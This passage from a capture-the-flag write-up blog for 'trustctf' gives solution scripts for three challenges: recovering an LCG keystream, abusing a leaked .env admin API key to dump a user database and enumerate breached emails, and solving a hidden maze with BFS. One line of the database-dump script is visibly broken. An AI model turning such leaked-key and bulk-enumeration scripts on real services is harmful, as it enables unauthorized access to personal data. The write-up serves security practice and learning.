        <span class="n">out</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">s</span><span class="p">)</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">lcg_step</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">)</span>
    <span class="k">return</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">out</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">brute_force_params</span><span class="p">(</span><span class="n">keystream</span><span class="p">:</span> <span class="nb">bytes</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">list</span><span class="p">:</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="k">for</span> <span class="n">a</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
            <span class="k">if</span> <span class="n">verify_params</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">keystream</span><span class="p">):</span>
                <span class="n">candidates</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">))</span>
    <span class="k">return</span> <span class="n">candidates</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">plain1</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">PLAIN1_HEX</span><span class="p">)</span>
    <span class="n">ciph1</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">CIPH1_HEX</span><span class="p">)</span>
    <span class="n">ciph3</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">CIPH3_HEX</span><span class="p">)</span>

    <span class="n">keystream</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">c</span> <span class="o">^</span> <span class="n">p</span> <span class="k">for</span> <span class="n">c</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">ciph1</span><span class="p">,</span> <span class="n">plain1</span><span class="p">)])</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Keystream recovered: </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">keystream</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"First 32 bytes: </span><span class="si">{</span><span class="n">keystream</span><span class="p">[</span><span class="si">:</span><span class="mi">32</span><span class="p">].</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="s">"Brute-forcing LCG parameters (A, C)..."</span><span class="p">)</span>
    <span class="n">candidates</span> <span class="o">=</span> <span class="n">brute_force_params</span><span class="p">(</span><span class="n">keystream</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Found </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">candidates</span><span class="p">)</span><span class="si">}</span><span class="s"> valid parameter(s): </span><span class="si">{</span><span class="n">candidates</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

    <span class="k">if</span> <span class="ow">not</span> <span class="n">candidates</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="s">"No valid parameters found."</span><span class="p">)</span>
        <span class="k">return</span>

    <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">candidates</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Testing A=</span><span class="si">{</span><span class="n">a</span><span class="si">}</span><span class="s">, C=</span><span class="si">{</span><span class="n">c</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
        <span class="n">flag_keystream</span> <span class="o">=</span> <span class="n">generate_keystream</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="n">c</span><span class="p">,</span> <span class="n">keystream</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nb">len</span><span class="p">(</span><span class="n">ciph3</span><span class="p">))</span>
        <span class="n">flag</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">ct</span> <span class="o">^</span> <span class="n">ks</span> <span class="k">for</span> <span class="n">ct</span><span class="p">,</span> <span class="n">ks</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">ciph3</span><span class="p">,</span> <span class="n">flag_keystream</span><span class="p">)])</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="n">flag_text</span> <span class="o">=</span> <span class="n">flag</span><span class="p">.</span><span class="n">decode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">)</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Flag: </span><span class="si">{</span><span class="n">flag_text</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">flag_text</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">"trustctf{"</span><span class="p">)</span> <span class="ow">and</span> <span class="n">flag_text</span><span class="p">.</span><span class="n">endswith</span><span class="p">(</span><span class="s">"}"</span><span class="p">):</span>
                <span class="k">print</span><span class="p">(</span><span class="s">"Valid flag recovered!"</span><span class="p">)</span>
                <span class="k">return</span>
        <span class="k">except</span> <span class="nb">UnicodeDecodeError</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Failed to decode: </span><span class="si">{</span><span class="n">flag</span><span class="p">.</span><span class="nb">hex</span><span class="p">()</span><span class="si">}</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="flag">Flag</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trustctf{y0u_d0nt_3v3n_n33d_2_b_sm4rt_4_th15}
</code></pre></div></div>

<h2 id="breached">Breached</h2>

<p>After extracting <code class="language-plaintext highlighter-rouge">dist.tar.gz</code>, we examine the provided files:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dist/
├── .env
├── server.py
├── static/
│   ├── index.html
│   ├── dashboard.html
│   ├── welcome.html
│   └── login.html
└── runtime_db.csv
</code></pre></div></div>
<h3 id="examining-the-dashboard">Examining the Dashboard</h3>

<p>Looking at <code class="language-plaintext highlighter-rouge">dashboard.html</code>, we find an interesting hint:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;h3&gt;</span>Admin tools<span class="nt">&lt;/h3&gt;</span>
<span class="nt">&lt;p&gt;</span>If you are an admin you can request exports via the internal storage API. 
   Developers have been warned not to commit secrets.<span class="nt">&lt;/p&gt;</span>
</code></pre></div></div>
<h3 id="discovering-the-env-file">Discovering the .env File</h3>

<p>Checking the distributed files, we find a <code class="language-plaintext highlighter-rouge">.env</code> file containing sensitive credentials:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># .env</span>
<span class="nv">FLAG_SECRET</span><span class="o">=</span>3HZ0jv5EuC4WHoJnxGKDxuoD9mCkxHMlJz3MucS6U40k7lLdqDqlF2pmeDRT2W5F
<span class="nv">ADMIN_API_KEY</span><span class="o">=</span>6208d4e88be3d7a2c6845189a23954420f037a262d13a833b9ace3ef98a35ee0
</code></pre></div></div>

<p>Examining <code class="language-plaintext highlighter-rouge">server.py</code> shows how these credentials are utilized:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">ADMIN_API_KEY</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'ADMIN_API_KEY'</span><span class="p">)</span>
<span class="n">FLAG_SECRET</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">getenv</span><span class="p">(</span><span class="s">'FLAG_SECRET'</span><span class="p">)</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/download_db'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">download_db</span><span class="p">():</span>
    <span class="k">if</span> <span class="ow">not</span> <span class="n">check_admin_key</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
        <span class="k">return</span> <span class="n">jsonify</span><span class="p">({</span><span class="s">'error'</span><span class="p">:</span> <span class="s">'invalid api key'</span><span class="p">}),</span> <span class="mi">401</span>
    <span class="c1"># ... downloads the full user database
</span>    <span class="k">return</span> <span class="n">send_file</span><span class="p">(</span><span class="n">db_path</span><span class="p">,</span> <span class="n">as_attachment</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">token_for_email</span><span class="p">(</span><span class="n">email</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span><span class="p">:</span>
    <span class="n">hm</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">FLAG_SECRET</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">),</span>
                  <span class="n">email</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'utf-8'</span><span class="p">),</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">hm</span><span class="p">.</span><span class="n">hexdigest</span><span class="p">()</span>
</code></pre></div></div>

<ol>
  <li><code class="language-plaintext highlighter-rouge">ADMIN_API_KEY</code> authenticates requests to <code class="language-plaintext highlighter-rouge">/download_db</code> endpoint</li>
  <li><code class="language-plaintext highlighter-rouge">FLAG_SECRET</code> is used to generate HMAC tokens for flag creation</li>
  <li>Flag format: <code class="language-plaintext highlighter-rouge">trustctf{&lt;first_12_chars_of_hmac&gt;}</code>
    <h3 id="attack-flow">Attack flow</h3>
  </li>
</ol>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Leaked .env → Admin API Key → Download Database → Enumerate Emails → Find Pwned Email → Generate Flag
</code></pre></div></div>
<h3 id="script">Script</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">csv</span><span class="p">,</span> <span class="n">hmac</span><span class="p">,</span> <span class="n">hashlib</span><span class="p">,</span> <span class="n">requests</span>
<span class="kn">from</span> <span class="nn">concurrent.futures</span> <span class="kn">import</span> <span class="n">ThreadPoolExecutor</span><span class="p">,</span> <span class="n">as_completed</span>

<span class="n">API_KEY</span> <span class="o">=</span> <span class="s">"6208d4e88be3d7a2c6845189a23954420f037a262d13a833b9ace3ef98a35ee0"</span>
<span class="n">SECRET</span> <span class="o">=</span> <span class="s">"3HZ0jv5EuC4WHoJnxGKDxuoD9mCkxHMlJz3MucS6U40k7lLdqDqlF2pmeDRT2W5F"</span>

<span class="k">def</span> <span class="nf">check_email</span><span class="p">(</span><span class="n">email</span><span class="p">):</span>
    <span class="s">"""Check if an email is marked as pwned in HIBC breach database"""</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span>
            <span class="sa">f</span><span class="s">"https://tlctf2025-hibc.chals.io/check_email?email=</span><span class="si">{</span><span class="n">email</span><span class="si">}</span><span class="s">"</span><span class="p">,</span> 
            <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span>
        <span class="p">)</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">"pwned"</span><span class="p">):</span>
            <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[!] Found pwned email: </span><span class="si">{</span><span class="n">email</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="n">email</span>
    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">pass</span>
    <span class="k">return</span> <span class="bp">None</span>

<span class="c1"># Step 1: Download the user database using leaked admin API key
</span><span class="k">print</span><span class="p">(</span><span class="s">"[*] Downloading database..."</span><span class="p">)</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span>
    <span class="s">"https://tlctf2025-data-app.chals.io/download_db"</span><span class="p">,</span> 
    <span class="n">headers</span><span class="o">=</span><span class="p">{</span><span class="s">"Authorization"</span><span class="p">:</span> <span class="sa">f</span><span class="s">"Bearer </span><span class="si">{</span><span class="n">API_KEY</span><span class="si">}</span><span class="s">"</span><span class="p">}</span>
<span class="p">)</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"db.csv"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Database downloaded (</span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">content</span><span class="p">)</span><span class="si">}</span><span class="s"> bytes)"</span><span class="p">)</span>

<span class="c1"># Step 2: Parse all emails from CSV
</span><span class="n">emails</span> <span class="o">=</span> <span class="p">[</span><span class="n">row</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">csv</span><span class="p">.</span><span class="n">DictReader</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">"db.csv"</span><span class="p">))]</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Loaded </span><span class="si">{</span><span class="nb">len</span><span class="p">(</span><span class="n">emails</span><span class="p">)</span><span class="si">}</span><span class="s"> emails from database"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[*] Starting concurrent enumeration..."</span><span class="p">)</span>

<span class="c1"># Step 3: Concurrently check each email against HIBC breach API
</span><span class="n">admin_found</span> <span class="o">=</span> <span class="bp">None</span>
<span class="k">with</span> <span class="n">ThreadPoolExecutor</span><span class="p">(</span><span class="n">max_workers</span><span class="o">=</span><span class="mi">50</span><span class="p">)</span> <span class="k">as</span> <span class="n">executor</span><span class="p">:</span>
    <span class="n">futures</span> <span class="o">=</span> <span class="p">{</span><span class="n">executor</span><span class="p">.</span><span class="n">submit</span><span class="p">(</span><span class="n">check_email</span><span class="p">,</span> <span class="n">email</span><span class="p">):</span> <span class="n">email</span> <span class="k">for</span> <span class="n">email</span> <span class="ow">in</span> <span class="n">emails</span><span class="p">}</span>
    
    <span class="k">for</span> <span class="n">future</span> <span class="ow">in</span> <span class="n">as_completed</span><span class="p">(</span><span class="n">futures</span><span class="p">):</span>
        <span class="n">result</span> <span class="o">=</span> <span class="n">future</span><span class="p">.</span><span class="n">result</span><span class="p">()</span>
        <span class="k">if</span> <span class="n">result</span><span class="p">:</span>
            <span class="n">admin_found</span> <span class="o">=</span> <span class="n">result</span>
            <span class="c1"># Cancel remaining futures to save time
</span>            <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">futures</span><span class="p">:</span>
                <span class="n">f</span><span class="p">.</span><span class="n">cancel</span><span class="p">()</span>
            <span class="k">break</span>

<span class="c1"># Step 4: Generate flag using HMAC-SHA256
</span><span class="k">if</span> <span class="n">admin_found</span><span class="p">:</span>
    <span class="n">token</span> <span class="o">=</span> <span class="n">hmac</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">SECRET</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">admin_found</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">).</span><span class="n">hexdigest</span><span class="p">()</span>
    <span class="n">flag</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"trustctf}"</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"</span><span class="se">\n</span><span class="s">[+] SUCCESS!"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] Admin Email: </span><span class="si">{</span><span class="n">admin_found</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] HMAC Token: </span><span class="si">{</span><span class="n">token</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"[+] FLAG: </span><span class="si">{</span><span class="n">flag</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"[!] No pwned email found in database"</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="flag-1">Flag</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FLAG: trustctf{aefefb18de55}
</code></pre></div></div>

<h2 id="gorey">Gorey</h2>

<p>Analyzing the given binary  shows that there is a maze that is not shown to the user. We can input where we want to go using the commands NORTH, SOUTH, WEST and EAST. But each command will step by 2 steps at a time. And the program checks for minimum number of steps to solve the maze and then decrypts the flag using functions like main_db, main_xb and main_ba.
<img src="/assets/img/posts/tlctf-2025/Pasted.png" alt="Files provided in the challenge" />
I copied the maze from IDA.</p>

<p>The maze was encoded as a string where <code class="language-plaintext highlighter-rouge">1</code> represents walls, <code class="language-plaintext highlighter-rouge">0</code> represents walkable paths, <code class="language-plaintext highlighter-rouge">S</code> is the start position, and <code class="language-plaintext highlighter-rouge">E</code> is the end position. From analyzing the binary, I determined the maze dimensions were 71 characters wide and 70 rows tall.</p>
<h3 id="solution-approach">Solution Approach</h3>

<p>The core challenge here was finding the shortest path through a maze where each move covers 2 cells instead of 1. This means when you move in a direction, you need to ensure both the intermediate cell and the destination cell are not walls - you can’t jump over walls. This is essentially a constrained shortest path problem that’s perfect for Breadth-First Search (BFS) since it guarantees finding the minimum number of moves.</p>

<p>I used ChatGPT to write the pathfinding script (<a href="https://chatgpt.com/share/691d7330-ccd0-8008-a343-498e9a13ac9f">conversation link</a>). I provided it with the maze string from IDA, told it the dimensions (71×70), explained that each move goes 2 cells at a time and can’t jump across walls. The resulting script implemented BFS where each state transition validates that both cells in the 2-step movement are valid (not walls and within bounds). AND IT WORKEDDD!!.</p>
<h3 id="script-1">Script</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">collections</span> <span class="kn">import</span> <span class="n">deque</span>

<span class="n">maze_raw</span> <span class="o">=</span> <span class="s">"""
11111111111111111111111111111111111111111111111111111111111111111111111
1S100000100010000000100000100000000000000000101000000000000000101000001
10111010101010101110101111101110111111111110101011111011111110101011101
10000010101000101000100000001010000000000010001010100010100000101010001
11111110101111101011111011111011111111101011101010101110101111101010111
10001000100010001010001010000000001000101010101000100010001000101010001
10111011111110111010101010101111111010111010101110111010111010101011101
10100010001000101010101000101000100010000010001000001010100010100000101
10101110101011101010101110111010101111111111111011111010101110111111101
10001000100010001000101010100010001000000010000010100010001000000000001
10111011111110111111101010101111101011111010111110101111101111111111101
10000010000010000000001010101000101010001000100000100010001000100010001
11111111111010111111111010101010101010111111111010111011111010101110111
10000000001010100010000010100010101010001000000010001010000010100000001
10111111101010101010101110111110111010101010111111101010111110111111111
10001000001010101010100010000010001010101010001000001000001000100000001
10101011111010101010111011111011101010101011101111111111111010101111101
10101000000010101000001000001000101010101000100000000010000010101000101
10101111111010111111101011111110101011101110111111111010111111101010101
10100000100010000010001000000000100010000010001000000010001000001010001
10111110111111111010111111111111111110101110111011111011101011111011111
10100010000000001010100000001000000010101000100010000010101010001000001
10111011111110111010101111101011111010111011101110111110101010111111101
10001010000010000010101000101000101010000010001010000010100010100000001
11101010101011111110101110101110101011111110111011111010111110101111101
10101010101010000000100010101000101000000000100010001010001000100010001
10101010101010111111101010101011101111111111111010101010101010111010111
10001000101010100000101010001010000010000000000010100010100010001010001
10111011101110101110111010111010101110111011111010111110111110101011111
10001010001000101010000010000010101000001010001010000010100010101000001
11101010111011101011111111111110101011111010111011111010101010101111101
10001010000010001000100000000000100000100010100010001010101000101000001
10111110111111101011101111111111101111101110101110111010101111111011101
10000010000000001000000010001000101000101000001000100010100000001010001
11111011111111111011111010111010111010101110111011101110111111101011101
10001000100000001010001000100010000010100010001010001000100000101000101
10111110111110101110101111101111111110111011101010111011111011101110101
10000010001000100000100000100000001000001010000010100000000010000010101
11111011101011111111111110111111101111101010111110101111111110111110111
10001000101010000000100010100000100000100010001000100010000010100010001
10101110101010111110111010101110111110111011111011101110111010101011101
10100010101000000010100010001010100000101010000010001000100010001000101
10111010101111111010101111111010101111101010111110111011101111111010101
10100010100000001010100000100010001010000010000010001000100000000010101
10101110111111101110101110101011111010111111111011111010111111101111101
10100000001000101000101000101010000000100000001000001010100000001000001
10111111101010101011111011101010111111101011111111101010101111111011101
10001000101010101000001000001000000010001010000010001010100000001010001
10101110101010101011101111111111111010111110111010111110111111111010111
10100010000010101000100000000000100000100000101010001000100000000010001
10111011111111101111101111111010101111101111101011101011101111111111101
10001000001000001000101000001010101000101000001000001000101010000000001
11101111101011111010101011101110101010101110101111111110101010111111111
10001000101010000010101000100010101010100010101000000000101010000000101
10111110101010101110111110111010111010111010101010111011101010111110101
10000000100010100010001000100010001010000010100010100010001000100010001
11111110111111111011101011101111101011111111111110101110111011101011111
10000010100000000010100010100000100010001000000000101000100010001000001
10111010101111111110111110111110101110101011111111101011111110111111101
10001010100010000000100000100000100000100010000010001000000010000000101
11101010111011101111101110101111111111111110111010111111111011111110101
10001010001000100000101000101000001000000010001000100010001000000010101
10111011101010101110101011101011101110111111101111101011101111111010101
10001000101010100010001000101000100010100000100010001000000000101000101
10101111101110111011111110101110111010101110111010111011111110101111101
10101000100000100000100010100000100010000010000000100010001010001000101
10101010111111101111101010111111101111111111111111101110101011101010101
10101010000000100010001000100000100000000000000000101000101000001010101
10101011111110111010111111101011111111111111111110111011101111111010101
101000000000100000100000000010000000000000000000000000100000000000100E1
"""</span><span class="p">.</span><span class="n">strip</span><span class="p">().</span><span class="n">splitlines</span><span class="p">()</span>

<span class="n">H</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">maze_raw</span><span class="p">)</span>
<span class="n">W</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">maze_raw</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>

<span class="n">maze</span> <span class="o">=</span> <span class="p">[</span><span class="nb">list</span><span class="p">(</span><span class="n">row</span><span class="p">)</span> <span class="k">for</span> <span class="n">row</span> <span class="ow">in</span> <span class="n">maze_raw</span><span class="p">]</span>

<span class="c1"># Locate start and end
</span><span class="k">for</span> <span class="n">r</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">H</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">W</span><span class="p">):</span>
        <span class="k">if</span> <span class="n">maze</span><span class="p">[</span><span class="n">r</span><span class="p">][</span><span class="n">c</span><span class="p">]</span> <span class="o">==</span> <span class="s">"S"</span><span class="p">:</span> <span class="n">start</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">maze</span><span class="p">[</span><span class="n">r</span><span class="p">][</span><span class="n">c</span><span class="p">]</span> <span class="o">==</span> <span class="s">"E"</span><span class="p">:</span> <span class="n">end</span> <span class="o">=</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span>

<span class="c1"># Moves: 2 cells each step
</span><span class="n">dirs</span> <span class="o">=</span> <span class="p">{</span>
    <span class="s">"NORTH"</span><span class="p">:</span> <span class="p">(</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
    <span class="s">"SOUTH"</span><span class="p">:</span> <span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
    <span class="s">"WEST"</span><span class="p">:</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">),</span>
    <span class="s">"EAST"</span><span class="p">:</span> <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2</span><span class="p">),</span>
<span class="p">}</span>

<span class="k">def</span> <span class="nf">valid</span><span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">):</span>
    <span class="k">return</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">r</span> <span class="o">&lt;</span> <span class="n">H</span> <span class="ow">and</span> <span class="mi">0</span> <span class="o">&lt;=</span> <span class="n">c</span> <span class="o">&lt;</span> <span class="n">W</span> <span class="ow">and</span> <span class="n">maze</span><span class="p">[</span><span class="n">r</span><span class="p">][</span><span class="n">c</span><span class="p">]</span> <span class="o">!=</span> <span class="s">'1'</span>

<span class="c1"># BFS
</span><span class="n">queue</span> <span class="o">=</span> <span class="n">deque</span><span class="p">([</span><span class="n">start</span><span class="p">])</span>
<span class="n">prev</span> <span class="o">=</span> <span class="p">{</span><span class="n">start</span><span class="p">:</span> <span class="p">(</span><span class="bp">None</span><span class="p">,</span> <span class="bp">None</span><span class="p">)}</span>  <span class="c1"># (previous cell, move name)
</span>
<span class="n">found</span> <span class="o">=</span> <span class="bp">False</span>

<span class="k">while</span> <span class="n">queue</span><span class="p">:</span>
    <span class="n">r</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">queue</span><span class="p">.</span><span class="n">popleft</span><span class="p">()</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">)</span> <span class="o">==</span> <span class="n">end</span><span class="p">:</span>
        <span class="n">found</span> <span class="o">=</span> <span class="bp">True</span>
        <span class="k">break</span>

    <span class="k">for</span> <span class="n">move</span><span class="p">,</span> <span class="p">(</span><span class="n">dr</span><span class="p">,</span> <span class="n">dc</span><span class="p">)</span> <span class="ow">in</span> <span class="n">dirs</span><span class="p">.</span><span class="n">items</span><span class="p">():</span>
        <span class="n">nr</span><span class="p">,</span> <span class="n">nc</span> <span class="o">=</span> <span class="n">r</span> <span class="o">+</span> <span class="n">dr</span><span class="p">,</span> <span class="n">c</span> <span class="o">+</span> <span class="n">dc</span>
        <span class="n">ir</span><span class="p">,</span> <span class="n">ic</span> <span class="o">=</span> <span class="n">r</span> <span class="o">+</span> <span class="n">dr</span><span class="o">//</span><span class="mi">2</span><span class="p">,</span> <span class="n">c</span> <span class="o">+</span> <span class="n">dc</span><span class="o">//</span><span class="mi">2</span>  <span class="c1"># intermediate cell
</span>
        <span class="k">if</span> <span class="n">valid</span><span class="p">(</span><span class="n">nr</span><span class="p">,</span> <span class="n">nc</span><span class="p">)</span> <span class="ow">and</span> <span class="n">valid</span><span class="p">(</span><span class="n">ir</span><span class="p">,</span> <span class="n">ic</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">nr</span><span class="p">,</span> <span class="n">nc</span><span class="p">)</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">prev</span><span class="p">:</span>
            <span class="n">prev</span><span class="p">[(</span><span class="n">nr</span><span class="p">,</span> <span class="n">nc</span><span class="p">)]</span> <span class="o">=</span> <span class="p">((</span><span class="n">r</span><span class="p">,</span> <span class="n">c</span><span class="p">),</span> <span class="n">move</span><span class="p">)</span>
            <span class="n">queue</span><span class="p">.</span><span class="n">append</span><span class="p">((</span><span class="n">nr</span><span class="p">,</span> <span class="n">nc</span><span class="p">))</span>

<span class="c1"># Reconstruct
</span><span class="n">path_moves</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">cur</span> <span class="o">=</span> <span class="n">end</span>
<span class="k">while</span> <span class="n">prev</span><span class="p">[</span><span class="n">cur</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
    <span class="n">cur</span><span class="p">,</span> <span class="n">mv</span> <span class="o">=</span> <span class="n">prev</span><span class="p">[</span><span class="n">cur</span><span class="p">]</span>
    <span class="n">path_moves</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">mv</span><span class="p">)</span>

<span class="n">path_moves</span><span class="p">.</span><span class="n">reverse</span><span class="p">()</span>

<span class="c1"># Output
</span><span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">path_moves</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="n">m</span><span class="p">)</span>
</code></pre></div></div>
<h3 id="flag-2">Flag</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>trustctf{y0uv3_35c4p3d_7h3_6l4d3_71m3_f0r_f4z3_7w0}
